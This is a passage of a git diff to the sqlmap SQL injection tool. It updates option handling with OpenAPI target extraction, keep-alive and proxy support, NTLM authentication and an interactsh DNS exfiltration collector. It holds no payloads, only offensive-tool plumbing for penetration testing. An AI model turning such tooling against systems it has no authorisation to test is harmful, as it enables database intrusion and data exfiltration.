"sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) - - # Reference: https://stackoverflow.com/a/4896288 - queue = _queue.Queue() - thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) - thread.daemon = True - thread.start() - - top = _tkinter.Toplevel() - top.title("Console") - - # Reference: https://stackoverflow.com/a/13833338 - text = _tkinter_scrolledtext.ScrolledText(top, undo=True) - text.bind("", onKeyPress) - text.bind("", onReturnPress) - text.pack() - text.focus() - - center(top) - - while True: - line = "" - try: - # line = queue.get_nowait() - line = queue.get(timeout=.1) - text.insert(_tkinter.END, line) - except _queue.Empty: - text.see(_tkinter.END) - text.update_idletasks() - - if not alive: - break - - menubar = _tkinter.Menu(window) - - filemenu = _tkinter.Menu(menubar, tearoff=0) - filemenu.add_command(label="Open", state=_tkinter.DISABLED) - filemenu.add_command(label="Save", state=_tkinter.DISABLED) - filemenu.add_separator() - filemenu.add_command(label="Exit", command=window.quit) - menubar.add_cascade(label="File", menu=filemenu) - - menubar.add_command(label="Run", command=run) - - helpmenu = _tkinter.Menu(menubar, tearoff=0) - helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) - helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) - helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) - helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) - helpmenu.add_separator() - helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2023\n\n (%s)" % DEV_EMAIL_ADDRESS)) - menubar.add_cascade(label="Help", menu=helpmenu) - - window.config(menu=menubar) - window._widgets = {} - - notebook = AutoresizableNotebook(window) - - first = None - frames = {} - - for group in parser.option_groups: - frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200) - notebook.add(frames[group.title], text=group.title) - - _tkinter.Label(frame).grid(column=0, row=0, sticky=_tkinter.W) - - row = 1 - if group.get_description(): - _tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=_tkinter.W) - _tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W) - row += 2 - - for option in group.option_list: - _tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W) - - if option.type == "string": - widget = _tkinter.Entry(frame) - elif option.type == "float": - widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z") - elif option.type == "int": - widget = ConstrainedEntry(frame, regex=r"\A\d*\Z") - else: - var = _tkinter.IntVar() - widget = _tkinter.Checkbutton(frame, variable=var) - widget.var = var - - first = first or widget - widget.grid(column=1, row=row, sticky=_tkinter.W) - - window._widgets[(option.dest, option.type)] = widget - - default = defaults.get(option.dest) - if default: - if hasattr(widget, "insert"): - widget.insert(0, default) - - _tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=_tkinter.W) - - row += 1 - - _tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W) - - notebook.pack(expand=1, fill="both") - notebook.enable_traversal() - - first.focus() - - window.mainloop() diff --git a/lib/core/log.py b/lib/core/log.py index 64e4f1b71dd..72e2028d191 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/option.py b/lib/core/option.py index 72d834d07cc..d61134aa5ab 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,16 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import codecs +import collections import functools import glob import inspect +import json import logging import os import random @@ -68,6 +70,7 @@ from lib.core.data import queries from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict +from lib.core.datatype import LRUDict from lib.core.datatype import OrderedSet from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT @@ -128,7 +131,6 @@ from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS from lib.core.settings import TIME_DELAY_CANDIDATES -from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.threads import getCurrentThreadData @@ -142,7 +144,10 @@ from lib.request.chunkedhandler import ChunkedHandler from lib.request.connect import Connect as Request from lib.request.dns import DNSServer +from lib.request.dns import InteractshDNSServer from lib.request.httpshandler import HTTPSHandler +from lib.request.keepalive import HTTPKeepAliveHandler +from lib.request.keepalive import HTTPSKeepAliveHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler @@ -152,8 +157,7 @@ from lib.utils.purge import purge from lib.utils.search import search from thirdparty import six -from thirdparty.keepalive import keepalive -from thirdparty.multipart import multipartpost +from lib.request.multiparthandler import MultipartPostHandler from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_cookiejar as _http_cookiejar @@ -164,11 +168,12 @@ authHandler = _urllib.request.BaseHandler() chunkedHandler = ChunkedHandler() httpsHandler = HTTPSHandler() -keepAliveHandler = keepalive.HTTPHandler() +keepAliveHandler = HTTPKeepAliveHandler() +keepAliveHandlerHTTPS = HTTPSKeepAliveHandler() proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() -multipartPostHandler = multipartpost.MultipartPostHandler() +multipartPostHandler = MultipartPostHandler() # Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html try: @@ -434,19 +439,27 @@ def __next__(self): return self.next() def next(self): - try: - line = next(conf.stdinPipe) - except (IOError, OSError, TypeError): - line = None - - if line: - match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) - if match: - return (match.group(0), conf.method, conf.data, conf.cookie, None) - elif self.__rest: - return self.__rest.pop() - - raise StopIteration() + while True: + try: + line = next(conf.stdinPipe) + except (IOError, OSError, TypeError, UnicodeDecodeError): + line = None + except StopIteration: + line = None + + if line: + match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) + if match: + return (match.group(0), conf.method, conf.data, conf.cookie, None) + # Note: a non-empty line that is not a target (blank line, comment, + # non-parameterized URL) must be skipped, not treated as end-of-input + continue + + # end-of-input (or read error): drain any queued targets, then stop + if self.__rest: + return self.__rest.pop() + + raise StopIteration() def add(self, elem): self.__rest.add(elem) @@ -480,6 +493,75 @@ def _setBulkMultipleTargets(): warnMsg = "no usable links found (with GET parameters)" logger.warning(warnMsg) +def _setOpenApiTargets(): + if not conf.openApiFile: + return + + from lib.parse.openapi import openApiTargets + + if conf.method: + warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification" + logger.warning(warnMsg) + + # origin resolves a spec's relative 'servers' to absolute target URLs: an explicit '--openapi-base' + # (needed for a host-less local spec) or, when fetched by URL, the fetch URL itself. + origin = conf.openApiBase.rstrip('/') if conf.openApiBase else None + if re.match(r"(?i)\Ahttps?://", conf.openApiFile): + infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile + logger.info(infoMsg) + from lib.request.connect import Connect as Request + content = Request.getPage(url=conf.openApiFile, raise404=True)[0] + if not origin: + match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile) + origin = match.group(1) if match else None + else: + conf.openApiFile = safeExpandUser(conf.openApiFile) + checkFile(conf.openApiFile) + infoMsg = "parsing OpenAPI/Swagger specification from '%s'" % conf.openApiFile + logger.info(infoMsg) + content = openFile(conf.openApiFile).read() + + tags = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.openApiTags) if _.strip()] if conf.openApiTags else None + if tags: + infoMsg = "restricting extraction to OpenAPI/Swagger operations tagged: %s" % ", ".join(tags) + logger.info(infoMsg) + + try: + targets = openApiTargets(content, origin, tags) + except ValueError as ex: + errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex) + raise SqlmapSyntaxException(errMsg) + + if re.search(r"(?i)securitySchemes|securityDefinitions", content) and not any((conf.authType, conf.authCred, conf.authFile)) and not any((_[0] or "").lower() == HTTP_HEADER.AUTHORIZATION.lower() for _ in (conf.httpHeaders or [])): + warnMsg = "the OpenAPI/Swagger specification declares authentication (security schemes) but no credentials were provided. " + warnMsg += "If the API requires authentication, requests are likely to be rejected. Provide credentials with " + warnMsg += "'--auth-type'/'--auth-cred' or a header (e.g. --headers=\"Authorization: Bearer ...\")" + logger.warning(warnMsg) + + before = len(kb.targets) # openapi carries per-target bodies -> no conf.data fallback + mutating = 0 + for url, method, data, headers in targets: + if conf.scope and not re.search(conf.scope, url, re.I): + continue + if method not in ("GET", "HEAD", "OPTIONS"): + mutating += 1 + kb.targets.add((url, method, data, conf.cookie, tuple(headers) if headers else None)) + + added = len(kb.targets) - before + if added: + conf.multipleTargets = True + infoMsg = "derived %d target(s) from the OpenAPI/Swagger specification" % added + logger.info(infoMsg) + if mutating: + warnMsg = "%d of the derived target(s) use state-changing HTTP methods (e.g. POST/PUT/PATCH/DELETE). " % mutating + warnMsg += "Scanning them may create, modify or delete server-side data" + logger.warning(warnMsg) + else: + warnMsg = "no usable targets derived from the OpenAPI/Swagger specification" + if not conf.openApiBase: + warnMsg += " (if it uses relative 'servers', provide a base with '--openapi-base' or fetch it by URL)" + logger.warning(warnMsg) + def _findPageForms(): if not conf.forms or conf.crawlDepth: return @@ -606,7 +688,7 @@ def _setMetasploit(): else: warnMsg = "the provided Metasploit Framework path " warnMsg += "'%s' is not valid. The cause could " % conf.msfPath - warnMsg += "be that the path does not exists or that one " + warnMsg += "be that the path does not exist or that one " warnMsg += "or more of the needed Metasploit executables " warnMsg += "within msfcli, msfconsole, msfencode and " warnMsg += "msfpayload do not exist" @@ -752,7 +834,7 @@ def _listTamperingFunctions(): logger.info(infoMsg) for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))): - content = openFile(script, "rb").read() + content = openFile(script, 'r').read() match = re.search(r'(?s)__priority__.+"""(.+)"""', content) if match: comment = match.group(1).strip() @@ -813,9 +895,10 @@ def _setTamperingFunctions(): raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ + priority = priority if priority is not None else PRIORITY.LOWEST for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or hasattr(inspect, "getargspec") and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"): + if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"): found = True kb.tamperFunctions.append(function) function.__name__ = module.__name__ @@ -857,6 +940,15 @@ def _setTamperingFunctions(): warnMsg += "a good idea" logger.warning(warnMsg) + # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines + # (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so + # warn instead of silently ignoring the user's '--tamper' + if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)): + engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_)) + warnMsg = "tamper scripts are applied to SQL injection payloads only and " + warnMsg += "will be ignored by the '--%s' engine" % engine + logger.warning(warnMsg) + if resolve_priorities and priorities: priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True) kb.tamperFunctions = [] @@ -929,7 +1021,7 @@ def _setPreprocessFunctions(): else: try: function(_urllib.request.Request("http://localhost")) - except: + except Exception as ex: tbMsg = traceback.format_exc() if conf.debug: @@ -938,13 +1030,13 @@ def _setPreprocessFunctions(): handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") os.close(handle) - openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n") - openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") + openFile(filename, "w+").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+").write("pass") errMsg = "function 'preprocess(req)' " errMsg += "in preprocess script '%s' " % script - errMsg += "appears to be invalid " - errMsg += "(Note: find template script at '%s')" % filename + errMsg += "had issues in a test run ('%s'). " % getSafeExString(ex) + errMsg += "You can find a template script at '%s'" % filename raise SqlmapGenericException(errMsg) def _setPostprocessFunctions(): @@ -1013,8 +1105,8 @@ def _setPostprocessFunctions(): handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") os.close(handle) - openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") - openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") + openFile(filename, "w+").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+").write("pass") errMsg = "function 'postprocess(page, headers=None, code=None)' " errMsg += "in postprocess script '%s' " % script @@ -1032,12 +1124,13 @@ def _setDNSCache(): """ def _getaddrinfo(*args, **kwargs): - if args in kb.cache.addrinfo: - return kb.cache.addrinfo[args] + key = (args, frozenset(kwargs.items())) - else: - kb.cache.addrinfo[args] = socket._getaddrinfo(*args, **kwargs) - return kb.cache.addrinfo[args] + if key in kb.cache.addrinfo: + return kb.cache.addrinfo[key] + + kb.cache.addrinfo[key] = socket._getaddrinfo(*args, **kwargs) + return kb.cache.addrinfo[key] if not hasattr(socket, "_getaddrinfo"): socket._getaddrinfo = socket.getaddrinfo @@ -1053,41 +1146,73 @@ def _setSocketPreConnect(): def _thread(): while kb.get("threadContinue") and not conf.get("disablePrecon"): + done = False try: - for key in socket._ready: - if len(socket._ready[key]) < SOCKET_PRE_CONNECT_QUEUE_SIZE: - s = socket.create_connection(*key[0], **dict(key[1])) - with kb.locks.socket: - socket._ready[key].append((s, time.time())) + with kb.locks.socket: + keys = list(socket._ready.keys()) + + for key in keys: + with kb.locks.socket: + q = socket._ready.get(key) + if q is None or len(q) >= SOCKET_PRE_CONNECT_QUEUE_SIZE: + continue + args = key[0] + kwargs = dict(key[1]) + + s = socket._create_connection(*args, **kwargs) + + with kb.locks.socket: + q = socket._ready.get(key) + if q is not None and len(q) < SOCKET_PRE_CONNECT_QUEUE_SIZE: + q.append((s, time.time())) + s = None + done = True + + if s is not None: + try: + s.close() + except: + pass + except KeyboardInterrupt: break except: pass finally: - time.sleep(0.01) + time.sleep(0.01 if not done else 0.001) def create_connection(*args, **kwargs): retVal = None + stale = [] key = (tuple(args), frozenset(kwargs.items())) with kb.locks.socket: if key not in socket._ready: - socket._ready[key] = [] + socket._ready[key] = collections.deque() - while len(socket._ready[key]) > 0: - candidate, created = socket._ready[key].pop(0) + q = socket._ready[key] + while len(q) > 0: + candidate, created = q.popleft() if (time.time() - created) < PRECONNECT_CANDIDATE_TIMEOUT: retVal = candidate break else: - try: - candidate.shutdown(socket.SHUT_RDWR) - candidate.close() - except socket.error: - pass + stale.append(candidate) + + for candidate in stale: + try: + candidate.shutdown(socket.SHUT_RDWR) + candidate.close() + except: + pass if not retVal: retVal = socket._create_connection(*args, **kwargs) + else: + try: + retVal.settimeout(kwargs.get("timeout", socket.getdefaulttimeout())) + except: + pass return retVal @@ -1128,13 +1253,17 @@ def _setHTTPHandlers(): errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) - hostnamePort = _.netloc.rsplit(":", 1) + match = re.search(r"\A([^:]*):([^:]*)@([^@]+)\Z", _.netloc) + if match: + username, password = match.group(1), match.group(2) + else: + username, password = None, None + + hostnamePort = _.netloc.rsplit('@', 1)[-1].rsplit(":", 1) scheme = _.scheme.upper() hostname = hostnamePort[0] port = None - username = None - password = None if len(hostnamePort) == 2: try: @@ -1175,7 +1304,7 @@ def _setHTTPHandlers(): proxyString = "" proxyString += "%s:%d" % (hostname, port) - proxyHandler.proxies = {"http": proxyString, "https": proxyString} + proxyHandler.proxies = kb.proxies = {"http": proxyString, "https": proxyString} proxyHandler.__init__(proxyHandler.proxies) @@ -1199,18 +1328,24 @@ def _setHTTPHandlers(): handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html - if conf.keepAlive: - warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " - warnMsg += "been disabled because of its incompatibility " + # Note: persistent (Keep-Alive) connections are used by default (including through an HTTP(s) + # proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled + # socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled + # when incompatible (authentication methods, or chunked transfer-encoding of the request body - + # handled by a dedicated, non-pooling handler) + conf.keepAlive = not conf.noKeepAlive and not conf.authType and not conf.chunked - if conf.proxy: - warnMsg += "with HTTP(s) proxy" - logger.warning(warnMsg) - elif conf.authType: - warnMsg += "with authentication methods" - logger.warning(warnMsg) - else: - handlers.append(keepAliveHandler) + if conf.keepAlive: + # persistent connections for both HTTP and HTTPS; the keep-alive HTTPS + # handler supersedes the regular one (reusing its SSL connection) + if httpsHandler in handlers: + handlers.remove(httpsHandler) + handlers.append(keepAliveHandler) + handlers.append(keepAliveHandlerHTTPS) + elif not conf.noKeepAlive and (conf.authType or conf.chunked): + reason = "authentication methods" if conf.authType else "chunked transfer-encoding" + debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason + logger.debug(debugMsg) opener = _urllib.request.build_opener(*handlers) opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" @@ -1356,12 +1491,14 @@ def _setHTTPAuthentication(): conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip())) return elif authType == AUTH_TYPE.NTLM: - regExp = "^(.*\\\\.*):(.*?)$" + # Note: the DOMAIN\username part is colon-free, so the password group takes the full + # remainder (a greedy first group would otherwise swallow colons inside the password) + regExp = "^([^:]*\\\\[^:]*):(.*)$" errMsg = "HTTP NTLM authentication credentials value must " errMsg += "be in format 'DOMAIN\\username:password'" elif authType == AUTH_TYPE.PKI: errMsg = "HTTP PKI authentication require " - errMsg += "usage of option `--auth-pki`" + errMsg += "usage of option `--auth-file`" raise SqlmapSyntaxException(errMsg) aCredRegExp = re.search(regExp, conf.authCred) @@ -1383,15 +1520,8 @@ def _setHTTPAuthentication(): authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.NTLM: - try: - from ntlm import HTTPNtlmAuthHandler - except ImportError: - errMsg = "sqlmap requires Python NTLM third-party library " - errMsg += "in order to authenticate via NTLM. Download from " - errMsg += "'https://github.com/mullender/python-ntlm'" - raise SqlmapMissingDependence(errMsg) - - authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) + from lib.request.ntlm import HTTPNtlmAuthHandler + authHandler = HTTPNtlmAuthHandler(kb.passwordMgr) else: debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) @@ -1405,20 +1535,23 @@ def _setHTTPExtraHeaders(): debugMsg = "setting extra HTTP headers" logger.debug(debugMsg) - conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n") + if "\\n" in conf.headers: + conf.headers = conf.headers.replace("\\r\\n", "\\n").split("\\n") + else: + conf.headers = conf.headers.replace("\r\n", "\n").split("\n") for headerValue in conf.headers: if not headerValue.strip(): continue - if headerValue.count(':') >= 1: + if headerValue.startswith('@'): + checkFile(headerValue[1:]) + kb.headersFile = headerValue[1:] + elif headerValue.count(':') >= 1: header, value = (_.lstrip() for _ in headerValue.split(":", 1)) if header and value: conf.httpHeaders.append((header, value)) - elif headerValue.startswith('@'): - checkFile(headerValue[1:]) - kb.headersFile = headerValue[1:] else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) @@ -1584,7 +1717,7 @@ def _createHomeDirectories(): os.makedirs(directory) _ = os.path.join(directory, randomStr()) - open(_, "w+b").close() + open(_, "w+").close() os.remove(_) if conf.get("outputDir") and context == "output": @@ -1614,7 +1747,7 @@ def _createTemporaryDirectory(): _ = os.path.join(conf.tmpDir, randomStr()) - open(_, "w+b").close() + open(_, "w+").close() os.remove(_) tempfile.tempdir = conf.tmpDir @@ -1632,9 +1765,9 @@ def _createTemporaryDirectory(): except Exception as ex: warnMsg = "there has been a problem while accessing " warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) - warnMsg += "make sure that there is enough disk space left. If problem persists, " + warnMsg += "make sure that there is enough disk space left. If the problem persists, " warnMsg += "try to set environment variable 'TEMP' to a location " - warnMsg += "writeable by the current user" + warnMsg += "writable by the current user" logger.warning(warnMsg) if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: @@ -1653,6 +1786,8 @@ def _createTemporaryDirectory(): errMsg += "temporary directory location ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) + conf.tempDirs.append(tempfile.tempdir) + if six.PY3: _pympTempLeakPatch(kb.tempDir) @@ -1780,7 +1915,7 @@ def _cleanupOptions(): if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) - if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)): + if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe, conf.openApiFile)): conf.multipleTargets = True if conf.optimize: @@ -1801,6 +1936,9 @@ def _cleanupOptions(): conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None break + if conf.uValues: + conf.uCols = "%d-%d" % (1 + conf.uValues.count(','), 1 + conf.uValues.count(',')) + if conf.testFilter: conf.testFilter = conf.testFilter.strip('*+') conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter) @@ -1944,7 +2082,7 @@ def _cleanupEnvironment(): Cleanup environment (e.g. from leftovers after --shell). """ - if issubclass(_http_client.socket.socket, socks.socksocket): + if getattr(_http_client.socket, "socket", None) is not getattr(socks, "_orgsocket", None): socks.unwrapmodule(_http_client) if hasattr(socket, "_ready"): @@ -1975,6 +2113,8 @@ def _setConfAttributes(): conf.dbmsHandler = None conf.dnsServer = None conf.dumpPath = None + conf.fileWriteType = None + conf.HARCollectorFactory = None conf.hashDB = None conf.hashDBFile = None conf.httpCollector = None @@ -1991,9 +2131,8 @@ def _setConfAttributes(): conf.resultsFP = None conf.scheme = None conf.tests = [] + conf.tempDirs = [] conf.trafficFP = None - conf.HARCollectorFactory = None - conf.fileWriteType = None def _setKnowledgeBaseAttributes(flushAll=True): """ @@ -2021,10 +2160,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.cache = AttribDict() kb.cache.addrinfo = {} - kb.cache.content = {} - kb.cache.comparison = {} - kb.cache.encoding = {} + kb.cache.content = LRUDict(capacity=16) + kb.cache.comparison = LRUDict(capacity=256) + kb.cache.encoding = LRUDict(capacity=256) kb.cache.alphaBoundaries = None + kb.cache.charsetAsciiTbl = None kb.cache.hashRegex = None kb.cache.intBoundaries = None kb.cache.parsedDbms = {} @@ -2039,6 +2179,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) + kb.checkWafMode = False kb.choices = AttribDict(keycheck=False) kb.codePage = None kb.commonOutputs = None @@ -2088,11 +2229,23 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.headersFp = {} kb.heuristicDbms = None kb.heuristicExtendedDbms = None + kb.heuristicCode = None kb.heuristicMode = False kb.heuristicPage = False kb.heuristicTest = None kb.hintValue = "" kb.htmlFp = [] + kb.huffmanModel = {} + kb.respTruncated = False + kb.huffmanValidated = False + kb.disableHuffman = False + kb.huffmanProbes = 0 + kb.huffmanEscapes = 0 + kb.lowCardCache = {} + kb.dumpCharset = {} + kb.dumpCharsetStable = {} + kb.litmusCounter = 0 + kb.reliabilityAlarm = False kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None @@ -2106,7 +2259,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None @@ -2136,6 +2289,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.pageTemplates = dict() kb.pageEncoding = DEFAULT_PAGE_ENCODING kb.pageStable = None + kb.pageStructurallyStable = None kb.partRun = None kb.permissionFlag = False kb.place = None @@ -2145,7 +2299,9 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None + kb.processNonCustom = None kb.processUserMarks = None + kb.proxies = None kb.proxyAuthHeader = None kb.queryCounter = 0 kb.randomPool = {} @@ -2167,10 +2323,13 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.smokeMode = False kb.reduceTests = None kb.sslSuccess = False + kb.startTime = time.time() kb.stickyDBMS = False kb.suppressResumeInfo = False kb.tableFrom = None kb.technique = None + kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None + kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run) kb.tempDir = None kb.testMode = False kb.testOnlyCustom = False @@ -2182,6 +2341,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.udfFail = False kb.unionDuplicates = False kb.unionTemplate = None + kb.wafBypass = None kb.webSocketRecvCount = None kb.wizardMode = False kb.xpCmdshellAvailable = False @@ -2427,6 +2587,26 @@ def _setDNSServer(): if not conf.dnsDomain: return + from lib.core.settings import OOB_INTERACTSH_SERVERS + + _requested = conf.dnsDomain.strip().lower() + if _requested in ("interactsh", "oast", "oob") or _requested in OOB_INTERACTSH_SERVERS: + infoMsg = "setting up interactsh-backed DNS exfiltration collector" + logger.info(infoMsg) + + try: + conf.dnsServer = InteractshDNSServer(server=_requested if _requested in OOB_INTERACTSH_SERVERS else None) + conf.dnsServer.run() + conf.dnsDomain = conf.dnsServer.domain + except socket.error as ex: + errMsg = "there was an error while setting up " + errMsg += "the interactsh DNS collector ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) + + infoMsg = "using interactsh DNS collector (exfiltration domain '%s')" % conf.dnsDomain + logger.info(infoMsg) + return + infoMsg = "setting up DNS server instance" logger.info(infoMsg) @@ -2452,9 +2632,11 @@ def _setProxyList(): return conf.proxyList = [] - for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): - _, type_, address, port = match.groups() - conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) + # Note: preserve an explicit scheme and any 'user:pass@' credentials (entries use the same format + # as --proxy); otherwise a SOCKS proxy is silently downgraded to HTTP and proxy auth is dropped + for match in re.finditer(r"(?i)((http[^:\s]*|socks[^:\s]*)://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): + _, type_, cred, address, port = match.groups() + conf.proxyList.append("%s://%s%s:%s" % (type_ or "http", ("%s@" % cred) if cred else "", address, port)) def _setTorProxySettings(): if not conf.tor: @@ -2503,7 +2685,7 @@ def _setTorSocksProxySettings(): socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port) socks.wrapmodule(_http_client) -def _setHttpChunked(): +def _setHttpOptions(): if conf.chunked and conf.data: if hasattr(_http_client.HTTPConnection, "_set_content_length"): _http_client.HTTPConnection._set_content_length = lambda self, *args, **kwargs: None @@ -2517,14 +2699,9 @@ def putheader(self, header, *values): _http_client.HTTPConnection.putheader = putheader -def _checkWebSocket(): - if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): - try: - from websocket import ABNF - except ImportError: - errMsg = "sqlmap requires third-party module 'websocket-client' " - errMsg += "in order to use WebSocket functionality" - raise SqlmapMissingDependence(errMsg) + if conf.http10: 